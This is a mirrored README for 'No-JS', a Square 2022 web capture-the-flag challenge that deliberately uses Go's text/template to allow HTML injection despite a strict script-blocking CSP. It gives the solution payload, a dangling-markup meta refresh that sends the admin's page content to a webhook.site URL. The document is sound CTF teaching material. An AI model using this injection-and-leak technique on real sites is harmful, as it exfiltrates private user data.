Code Monkey home page Code Monkey logo

nojs's Introduction

No-JS

Square 2022 Web CTF challenge

Description

Reverting back to the ye-olde days, absolutely no javascript is allowed on my pure site. No vulnerabilities allowed here, no sir!

Notes

The flag is stored as a post on the admin user's profile. When you share a note to the admin, it'll show up in the same page as the post ("/"), and the admin bot will visit it.

The site (intentionally) uses Go's text/template instead of html/template package. This allows for arbitrary HTML injection to occur on the site, as text/template doesn't attempt to sanitize at all. The site also sets the following security headers:

Content-Security-Policy: "default-src 'self'; script-src 'none'"
X-XSS-Protection: 0
X-Content-Type-Options: "nosniff"
X-Frame-Options: "sameorigin"

This has the following (important to note) consequences:

  1. No javascript is allowed to execute at all on the page.
  2. Unsafe-inline isn't set, so inline <style></style> tags are also blocked.

The flag is in the admin post below. To leak the post, you can do dangling markdown as follows:

<meta http-equiv="refresh" content='0; url=https://webhook.site/#!/your_webhook_site_id?

nojs's People

Contributors

tnek avatar

Watchers

 avatar

Forkers

neptunians

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.